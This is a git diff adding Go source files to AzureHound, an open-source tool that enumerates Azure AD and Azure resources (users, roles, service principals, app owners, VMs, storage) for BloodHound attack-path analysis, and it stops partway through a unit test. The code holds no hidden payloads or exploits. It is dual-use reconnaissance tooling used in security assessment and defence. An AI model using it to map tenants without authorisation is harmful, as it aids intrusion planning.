Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureADRoles https://learn.microsoft.com/en-us/graph/api/rbacapplication-list-roledefinitions?view=graph-rest-beta +func (s *azureClient) ListAzureADRoles(ctx context.Context, params query.GraphParams) <-chan AzureResult[azure.Role] { + var ( + out = make(chan AzureResult[azure.Role]) + path = fmt.Sprintf("/%s/roleManagement/directory/roleDefinitions", constants.GraphApiVersion) + ) + + go getAzureObjectList[azure.Role](s.msgraph, ctx, path, params, out) + + return out +} diff --git a/client/service_principals.go b/client/service_principals.go new file mode 100644 index 0000000..0c56e8c --- /dev/null +++ b/client/service_principals.go @@ -0,0 +1,60 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "encoding/json" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureADServicePrincipals https://learn.microsoft.com/en-us/graph/api/serviceprincipal-list?view=graph-rest-beta +func (s *azureClient) ListAzureADServicePrincipals(ctx context.Context, params query.GraphParams) <-chan AzureResult[azure.ServicePrincipal] { + var ( + out = make(chan AzureResult[azure.ServicePrincipal]) + path = fmt.Sprintf("/%s/servicePrincipals", constants.GraphApiVersion) + ) + + if params.Top == 0 { + params.Top = 999 + } + + go getAzureObjectList[azure.ServicePrincipal](s.msgraph, ctx, path, params, out) + + return out +} + +// ListAzureADServicePrincipalOwners https://learn.microsoft.com/en-us/graph/api/serviceprincipal-list-owners?view=graph-rest-beta +func (s *azureClient) ListAzureADServicePrincipalOwners(ctx context.Context, objectId string, params query.GraphParams) <-chan AzureResult[json.RawMessage] { + var ( + out = make(chan AzureResult[json.RawMessage]) + path = fmt.Sprintf("/%s/servicePrincipals/%s/owners", constants.GraphApiBetaVersion, objectId) + ) + + if params.Top == 0 { + params.Top = 999 + } + + go getAzureObjectList[json.RawMessage](s.msgraph, ctx, path, params, out) + + return out +} diff --git a/client/storage_accounts.go b/client/storage_accounts.go new file mode 100644 index 0000000..402d247 --- /dev/null +++ b/client/storage_accounts.go @@ -0,0 +1,56 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureStorageAccounts https://learn.microsoft.com/en-us/rest/api/storagerp/storage-accounts/list?view=rest-storagerp-2022-05-01 +func (s *azureClient) ListAzureStorageAccounts(ctx context.Context, subscriptionId string) <-chan AzureResult[azure.StorageAccount] { + var ( + out = make(chan AzureResult[azure.StorageAccount]) + path = fmt.Sprintf("/subscriptions/%s/providers/Microsoft.Storage/storageAccounts", subscriptionId) + params = query.RMParams{ApiVersion: "2022-05-01"} + ) + + go getAzureObjectList[azure.StorageAccount](s.resourceManager, ctx, path, params, out) + + return out +} + +// == +// Storage containers +// == + +// ListAzureStorageContainers https://learn.microsoft.com/en-us/rest/api/storagerp/blob-containers/list?view=rest-storagerp-2022-05-01 +func (s *azureClient) ListAzureStorageContainers(ctx context.Context, subscriptionId string, resourceGroupName string, saName string, filter string, includeDeleted string, maxPageSize string) <-chan AzureResult[azure.StorageContainer] { + var ( + out = make(chan AzureResult[azure.StorageContainer]) + path = fmt.Sprintf("/subscriptions/%s/resourceGroups/%s/providers/Microsoft.Storage/storageAccounts/%s/blobServices/default/containers", subscriptionId, resourceGroupName, saName) + params = query.RMParams{ApiVersion: "2022-05-01", Filter: filter, IncludeDeleted: includeDeleted, MaxPageSize: maxPageSize} + ) + + go getAzureObjectList[azure.StorageContainer](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/client/subscriptions.go b/client/subscriptions.go new file mode 100644 index 0000000..0ed8933 --- /dev/null +++ b/client/subscriptions.go @@ -0,0 +1,38 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureSubscriptions https://learn.microsoft.com/en-us/rest/api/subscription/subscriptions/list?view=rest-subscription-2020-01-01 +func (s *azureClient) ListAzureSubscriptions(ctx context.Context) <-chan AzureResult[azure.Subscription] { + var ( + out = make(chan AzureResult[azure.Subscription]) + path = "/subscriptions" + params = query.RMParams{ApiVersion: "2020-01-01"} + ) + + go getAzureObjectList[azure.Subscription](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/client/tenants.go b/client/tenants.go new file mode 100644 index 0000000..4aa8966 --- /dev/null +++ b/client/tenants.go @@ -0,0 +1,72 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/client/rest" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +func (s *azureClient) GetAzureADOrganization(ctx context.Context, selectCols []string) (*azure.Organization, error) { + var ( + path = fmt.Sprintf("/%s/organization", constants.GraphApiVersion) + response azure.OrganizationList + ) + if res, err := s.msgraph.Get(ctx, path, query.GraphParams{Select: selectCols}, nil); err != nil { + return nil, err + } else if err := rest.Decode(res.Body, &response); err != nil { + return nil, err + } else { + return &response.Value[0], nil + } +} + +func (s *azureClient) GetAzureADTenants(ctx context.Context, includeAllTenantCategories bool) (azure.TenantList, error) { + var ( + path = "/tenants" + params = query.RMParams{ApiVersion: "2020-01-01", IncludeAllTenantCategories: includeAllTenantCategories} + headers map[string]string + response azure.TenantList + ) + + if res, err := s.resourceManager.Get(ctx, path, params, headers); err != nil { + return response, err + } else if err := rest.Decode(res.Body, &response); err != nil { + return response, err + } else { + return response, nil + } +} + +// ListAzureADTenants https://learn.microsoft.com/en-us/rest/api/subscription/tenants/list?view=rest-subscription-2020-01-01 +func (s *azureClient) ListAzureADTenants(ctx context.Context, includeAllTenantCategories bool) <-chan AzureResult[azure.Tenant] { + var ( + out = make(chan AzureResult[azure.Tenant]) + path = "/tenants" + params = query.RMParams{ApiVersion: "2020-01-01", IncludeAllTenantCategories: includeAllTenantCategories} + ) + + go getAzureObjectList[azure.Tenant](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/client/users.go b/client/users.go new file mode 100644 index 0000000..d20f4bf --- /dev/null +++ b/client/users.go @@ -0,0 +1,43 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureADUsers https://learn.microsoft.com/en-us/graph/api/user-list?view=graph-rest-beta +func (s *azureClient) ListAzureADUsers(ctx context.Context, params query.GraphParams) <-chan AzureResult[azure.User] { + var ( + out = make(chan AzureResult[azure.User]) + path = fmt.Sprintf("/%s/users", constants.GraphApiVersion) + ) + + if params.Top == 0 { + params.Top = 999 + } + + go getAzureObjectList[azure.User](s.msgraph, ctx, path, params, out) + + return out +} diff --git a/client/virtual_machines.go b/client/virtual_machines.go new file mode 100644 index 0000000..673d36c --- /dev/null +++ b/client/virtual_machines.go @@ -0,0 +1,42 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureVirtualMachines https://learn.microsoft.com/en-us/rest/api/compute/virtual-machines/list-all?view=rest-compute-2021-07-01 +func (s *azureClient) ListAzureVirtualMachines(ctx context.Context, subscriptionId string, params query.RMParams) <-chan AzureResult[azure.VirtualMachine] { + var ( + out = make(chan AzureResult[azure.VirtualMachine]) + path = fmt.Sprintf("/subscriptions/%s/providers/Microsoft.Compute/virtualMachines", subscriptionId) + ) + + if params.ApiVersion == "" { + params.ApiVersion = "2021-07-01" + } + + go getAzureObjectList[azure.VirtualMachine](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/client/vm_scale_sets.go b/client/vm_scale_sets.go new file mode 100644 index 0000000..8ac1e42 --- /dev/null +++ b/client/vm_scale_sets.go @@ -0,0 +1,39 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureVMScaleSets https://learn.microsoft.com/en-us/rest/api/compute/virtual-machine-scale-sets/list-all?view=rest-compute-2022-11-01 +func (s *azureClient) ListAzureVMScaleSets(ctx context.Context, subscriptionId string) <-chan AzureResult[azure.VMScaleSet] { + var ( + out = make(chan AzureResult[azure.VMScaleSet]) + path = fmt.Sprintf("/subscriptions/%s/providers/Microsoft.Compute/virtualMachineScaleSets", subscriptionId) + params = query.RMParams{ApiVersion: "2022-11-01"} + ) + + go getAzureObjectList[azure.VMScaleSet](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/client/web_apps.go b/client/web_apps.go new file mode 100644 index 0000000..4ae12fc --- /dev/null +++ b/client/web_apps.go @@ -0,0 +1,39 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureWebApps https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/list?view=rest-appservice-2022-03-01 +func (s *azureClient) ListAzureWebApps(ctx context.Context, subscriptionId string) <-chan AzureResult[azure.WebApp] { + out := make(chan AzureResult[azure.WebApp]) + var ( + path = fmt.Sprintf("/subscriptions/%s/providers/Microsoft.Web/sites", subscriptionId) + params = query.RMParams{ApiVersion: "2022-03-01"} + ) + + go getAzureObjectList[azure.WebApp](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/cmd/configure.go b/cmd/configure.go new file mode 100644 index 0000000..f845bdc --- /dev/null +++ b/cmd/configure.go @@ -0,0 +1,295 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "bytes" + "crypto/rand" + "crypto/rsa" + "crypto/x509" + "crypto/x509/pkix" + "encoding/pem" + "errors" + "fmt" + "io/ioutil" + "math" + "math/big" + + "net/mail" + "net/url" + "os" + "path/filepath" + "time" + + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/gofrs/uuid" + "github.com/manifoldco/promptui" + "github.com/spf13/cobra" + "github.com/spf13/viper" + "github.com/youmark/pkcs8" +) + +func init() { + rootCmd.AddCommand(configureCmd) +} + +var configureCmd = &cobra.Command{ + Use: "configure", + Short: "Configure AzureHound", + Run: configureCmdImpl, + SilenceUsage: true, +} + +func configureCmdImpl(cmd *cobra.Command, args []string) { + if err := configure(); err != nil { + exit(fmt.Errorf("failed to configure cobra CLI: %w", err)) + } +} + +func configure() error { + var ( + configFile = config.ConfigFile.Value().(string) + configDir = filepath.Dir(configFile) + genCert bool + genCertPath = filepath.Join(configDir, "cert.pem") + genKeyPath = filepath.Join(configDir, "key.pem") + ) + + // Configure Azure connection + if _, region, err := choose("Azure Region", config.AzRegions, 1); err != nil { + return err + } else if tenantId, err := prompt("Directory (tenant) ID", validateGuid, false); err != nil { + return err + } else if appId, err := prompt("Application (client) ID", validateGuid, false); err != nil { + return err + } else if _, authMethod, err := choose("Authentication Method", enums.AuthMethods(), 0); err != nil { + return err + } else { + config.AzRegion.Set(region) + config.AzTenant.Set(tenantId) + config.AzAppId.Set(appId) + + if authMethod == enums.Certificate { + if genCert = confirm("Generate Certificate and Key", true); genCert { + if keyPass, err := prompt("Private Key Passphrase (optional)", nil, true); err != nil { + return err + } else { + config.AzCert.Set(genCertPath) + config.AzKey.Set(genKeyPath) + config.AzKeyPass.Set(keyPass) + } + } else if certPath, err := prompt("Public Certificate Path", validatePem, false); err != nil { + return err + } else if keyPath, err := prompt("Private Key Path", validatePem, false); err != nil { + return err + } else if keyPass, err := prompt("Private Key Passphrase (optional)", nil, true); err != nil { + return err + } else { + config.AzCert.Set(certPath) + config.AzKey.Set(keyPath) + config.AzKeyPass.Set(keyPass) + } + } else if authMethod == enums.UsernamePassword { + if upn, err := prompt("Input the User Principal Name", validateUserPrincipalName, false); err != nil { + return err + } else if password, err := prompt("Input the password", nil, true); err != nil { + return err + } else { + config.AzUsername.Set(upn) + config.AzPassword.Set(password) + } + } else if secret, err := prompt("Client Secret", nil, true); err != nil { + return err + } else { + config.AzSecret.Set(secret) + } + + } + + // Configure BloodHound Enterprise Connection + if confirm("Setup connection to BloodHound Enterprise", true) { + if bheUrl, err := prompt("BloodHound Enterprise URL", config.ValidateURL, false); err != nil { + return err + } else if bheTokenId, err := prompt("BloodHound Enterprise Token ID", validateGuid, false); err != nil { + return err + } else if bheToken, err := prompt("BloodHound Enterprise Token", nil, true); err != nil { + return err + } else { + config.BHEUrl.Set(bheUrl) + config.BHETokenId.Set(bheTokenId) + config.BHEToken.Set(bheToken) + } + } + + // Configure Proxy + if confirm("Set proxy URL", true) { + if proxyURL, err := prompt("Proxy URL", config.ValidateURL, false); err != nil { + return err + } else { + if parsedURL, err := url.Parse(proxyURL); err != nil { + return err + } else { + if parsedURL.Scheme != "https" && parsedURL.Scheme != "http" { + return errors.New("unsupported proxy url scheme") + } else { + config.Proxy.Set(proxyURL) + } + } + } + } + + // Configure Logging + if confirm("Setup AzureHound logging", true) { + if idx, _, err := choose("Verbosity", verbosityOptions, 1); err != nil { + return err + } else if logFile, err := prompt("Log file (optional)", nil, false); err != nil { + return err + } else { + config.VerbosityLevel.Set(idx - 1) + config.LogFile.Set(logFile) + config.JsonLogs.Set(confirm("Enable Structured Logs", false)) + } + } + + // writing the configfile path in the configfile is confusing + config.ConfigFile.Set(nil) + if err := os.MkdirAll(configDir, os.ModePerm); err != nil { + return err + } else if err := viper.WriteConfigAs(configFile); err != nil { + return err + } else { + fmt.Fprintf(os.Stderr, "\nConfiguration written to %s\n", configFile) + } + + if genCert { + if cert, key, err := generateCert(config.AzKeyPass.Value().(string)); err != nil { + return err + } else if err := os.WriteFile(genCertPath, cert, 0644); err != nil { + return err + } else if err := os.WriteFile(genKeyPath, key, 0644); err != nil { + return err + } else { + fmt.Fprintf(os.Stderr, "Key written to %s\n", genKeyPath) + fmt.Fprintf(os.Stderr, "Certificate written to %s\n", genCertPath) + fmt.Fprintln(os.Stderr, "\nEnsure certificate is uploaded to your application's client credentials") + } + } + return nil +} + +func prompt(label string, validator func(string) error, isSensitive bool) (string, error) { + p := promptui.Prompt{ + Label: label, + Validate: validator, + } + if isSensitive { + p.HideEntered = true + p.Mask = '*' + } + return p.Run() +} + +func choose(label string, items []string, pos int) (int, string, error) { + s := promptui.Select{ + Label: label, + CursorPos: pos, + Items: items, + Templates: &promptui.SelectTemplates{ + Selected: fmt.Sprintf(`{{ "%s:" | faint }} {{ . }}`, label), + }, + } + return s.Run() +} + +func confirm(label string, defaultYes bool) bool { + p := promptui.Prompt{ + Label: label, + HideEntered: true, + IsConfirm: true, + } + if defaultYes { + p.Default = "y" + } + _, err := p.Run() + return err == nil +} + +func validateGuid(input string) error { + _, err := uuid.FromString(input) + return err +} + +func validatePem(input string) error { + if content, err := ioutil.ReadFile(input); err != nil { + return err + } else if pemFile, _ := pem.Decode(content); pemFile == nil { + return fmt.Errorf("Invalid PEM encoded file") + } else { + return nil + } +} + +func validateUserPrincipalName(input string) error { + _, err := mail.ParseAddress(input) + return err +} + +var verbosityOptions = []string{ + "Disabled", + "Default", + "Debug", + "Trace", +} + +func generateCert(passphrase string) ([]byte, []byte, error) { + var ( + cert = &x509.Certificate{ + Subject: pkix.Name{ + CommonName: "azurehound", + }, + NotBefore: time.Now(), + NotAfter: time.Now().AddDate(1, 0, 0), + } + + certPEM = bytes.Buffer{} + keyPEM = bytes.Buffer{} + ) + + // Generate random serial number for certificate + if serial, err := rand.Int(rand.Reader, big.NewInt(math.MaxInt64)); err != nil { + return nil, nil, err + } else { + cert.SerialNumber = serial + } + + // Generate rsa keys and certificate and encode to PEM files + if privateKey, err := rsa.GenerateKey(rand.Reader, 4096); err != nil { + return nil, nil, err + } else if data, err := x509.CreateCertificate(rand.Reader, cert, cert, &privateKey.PublicKey, privateKey); err != nil { + return nil, nil, err + } else if err := pem.Encode(&certPEM, &pem.Block{Type: "CERTIFICATE", Bytes: data}); err != nil { + return nil, nil, err + } else if data, err := pkcs8.MarshalPrivateKey(privateKey, []byte(passphrase), nil); err != nil { + return nil, nil, err + } else if err := pem.Encode(&keyPEM, &pem.Block{Type: "PRIVATE KEY", Bytes: data}); err != nil { + return nil, nil, err + } else { + return certPEM.Bytes(), keyPEM.Bytes(), nil + } +} diff --git a/cmd/install_windows.go b/cmd/install_windows.go new file mode 100644 index 0000000..579493a --- /dev/null +++ b/cmd/install_windows.go @@ -0,0 +1,157 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "fmt" + "io" + "os" + "path/filepath" + "time" + + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/spf13/cobra" + + "golang.org/x/sys/windows/svc/eventlog" + "golang.org/x/sys/windows/svc/mgr" +) + +func init() { + rootCmd.AddCommand(installCmd) +} + +var installCmd = &cobra.Command{ + Use: "install", + Short: "Installs AzureHound as a system service for BloodHound Enterprise", + Run: installCmdImpl, + PersistentPreRunE: persistentPreRunE, + SilenceUsage: true, +} + +func installCmdImpl(cmd *cobra.Command, args []string) { + var ( + config = mgr.Config{ + DisplayName: constants.DisplayName, + Description: constants.Description, + StartType: mgr.StartAutomatic, + DelayedAutoStart: true, + } + recoveryActions = []mgr.RecoveryAction{ + {Type: mgr.ServiceRestart, Delay: 5 * time.Second}, + {Type: mgr.ServiceRestart, Delay: 30 * time.Second}, + {Type: mgr.ServiceRestart, Delay: 60 * time.Second}, + } + ) + + if err := configureService(); err != nil { + exit(fmt.Errorf("failed to configure service: %w", err)) + } else if err := installService(constants.DisplayName, config, recoveryActions); err != nil { + exit(fmt.Errorf("failed to install service: %w", err)) + } +} + +func configureService() error { + var ( + configDir = config.SystemConfigDirs()[0] + sysConfig = filepath.Join(configDir, "config.json") + userConfig = config.ConfigFile.Value().(string) + ) + + if err := os.MkdirAll(configDir, os.ModePerm); err != nil { + return err + } + + // Confirm use of existing service config + if shouldUseConfig(sysConfig) { + return nil + } + + // Confirm use of existing user config + if shouldUseConfig(userConfig) { + return copyFile(userConfig, sysConfig) + } + + config.ConfigFile.Set(sysConfig) + return configure() +} + +func shouldUseConfig(config string) bool { + if _, err := os.Stat(config); err != nil { + return false + } else { + fmt.Fprintf(os.Stderr, "Detected configuration at %s.\n", config) + return confirm("Use these settings to configure the service", true) + } +} + +func copyFile(src, dest string) error { + if srcFile, err := os.Open(src); err != nil { + return err + } else if destFile, err := os.Create(dest); err != nil { + return err + } else { + defer srcFile.Close() + defer destFile.Close() + if _, err := io.Copy(destFile, srcFile); err != nil { + return err + } + } + return nil +} + +func installService(name string, config mgr.Config, recoveryActions []mgr.RecoveryAction, args ...string) error { + if exe, err := getExePath(); err != nil { + return err + } else if wsm, err := mgr.Connect(); err != nil { + return err + } else { + defer wsm.Disconnect() + + if err := createService(wsm, name, exe, config, recoveryActions, args...); err != nil { + return err + } else { + return nil + } + } +} + +func createService(wsm *mgr.Mgr, name string, exe string, config mgr.Config, recoveryActions []mgr.RecoveryAction, args ...string) error { + if service, err := wsm.OpenService(name); err == nil { + service.Close() + return fmt.Errorf("service %s already exists", name) + } else if service, err := wsm.CreateService(name, exe, config, args...); err != nil { + return err + } else { + defer service.Close() + + if err := eventlog.InstallAsEventCreate(name, eventlog.Error|eventlog.Warning|eventlog.Info); err != nil { + service.Delete() + return fmt.Errorf("failed to add %s to event log: %w", name, err) + } + + if recoveryActions != nil { + if err := service.SetRecoveryActions(recoveryActions, 60); err != nil { + service.Delete() + return fmt.Errorf("failed to set recovery actions: %w", err) + } + } + + return nil + } +} diff --git a/cmd/list-app-owners.go b/cmd/list-app-owners.go new file mode 100644 index 0000000..c155d82 --- /dev/null +++ b/cmd/list-app-owners.go @@ -0,0 +1,116 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listAppOwnersCmd) +} + +var listAppOwnersCmd = &cobra.Command{ + Use: "app-owners", + Long: "Lists Azure AD App Owners", + Run: listAppOwnersCmdImpl, + SilenceUsage: true, +} + +func listAppOwnersCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure app owners...") + start := time.Now() + stream := listAppOwners(ctx, azClient, listApps(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listAppOwners(ctx context.Context, client client.AzureClient, apps <-chan azureWrapper[models.App]) <-chan azureWrapper[models.AppOwners] { + var ( + out = make(chan azureWrapper[models.AppOwners]) + streams = pipeline.Demux(ctx.Done(), apps, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + params = query.GraphParams{} + ) + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for app := range stream { + var ( + data = models.AppOwners{ + AppId: app.Data.AppId, + } + count = 0 + ) + for item := range client.ListAzureADAppOwners(ctx, app.Data.Id, params) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing owners for this app", "appId", app.Data.AppId) + } else { + appOwner := models.AppOwner{ + Owner: item.Ok, + AppId: app.Data.Id, + } + log.V(2).Info("found app owner", "appOwner", appOwner) + count++ + data.Owners = append(data.Owners, appOwner) + } + } + + if ok := pipeline.Send(ctx.Done(), out, NewAzureWrapper( + enums.KindAZAppOwner, + data, + )); !ok { + return + } + log.V(1).Info("finished listing app owners", "appId", app.Data.AppId, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all app owners") + }() + + return out +} diff --git a/cmd/list-app-owners_test.go b/cmd/list-app-owners_test.go new file mode 100644 index 0000000..978b7a8 --- /dev/null +++ b/cmd/list-app-owners_test.go @@ -0,0 +1,91 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "encoding/json" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListAppOwners(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockAppsChannel := make(chan azureWrapper[models.App]) + mockAppOwnerChannel := make(chan client.AzureResult[json.RawMessage]) + mockAppOwnerChannel2 := make(chan client.AzureResult[json.RawMessage]) + + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + 